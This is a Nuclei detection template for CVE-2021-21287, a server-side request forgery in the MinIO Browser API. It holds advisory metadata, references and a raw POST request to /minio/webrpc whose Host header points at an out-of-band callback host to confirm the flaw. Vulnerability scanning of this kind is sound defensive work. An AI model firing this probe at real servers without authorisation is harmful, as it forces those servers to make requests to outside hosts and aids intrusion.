nuclei-templates/http/cves/2021/CVE-2021-21287.yaml

53 lines
2.1 KiB
YAML

id: CVE-2021-21287
info:
name: MinIO Browser API - Server-Side Request Forgery
author: pikpikcu
severity: high
description: MinIO Browser API before version RELEASE.2021-01-30T00-20-58Z contains a server-side request forgery vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to make arbitrary requests on behalf of the server, potentially leading to unauthorized access or data leakage.
remediation: |
Apply the latest security patches or updates provided by MinIO to fix this vulnerability.
reference:
- https://github.com/minio/minio/security/advisories/GHSA-m4qq-5f7c-693q
- https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
- https://github.com/minio/minio/pull/11337
- https://nvd.nist.gov/vuln/detail/CVE-2021-21287
- https://github.com/minio/minio/commit/eb6871ecd960d570f70698877209e6db181bf276
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.7
cve-id: CVE-2021-21287
cwe-id: CWE-918
epss-score: 0.97112
epss-percentile: 0.99745
cpe: cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: minio
product: minio
tags: cve,cve2021,minio,ssrf,oast
http:
- raw:
- |
POST /minio/webrpc HTTP/1.1
Host: {{interactsh-url}}
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Content-Length: 76
{"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http" # Confirms the HTTP Interaction
- type: word
words:
- "We encountered an internal error"
# digest: 490a004630440220193a42a5351b971d266989af20781c196488aca759067dbc1f0e8f2308d5c64802206f9ed4e250e668bc8a8acae05ca9632ea520a07ef3eca8bee272b8bdd6cc44bf:922c64590222798bb761d5b6d8e72950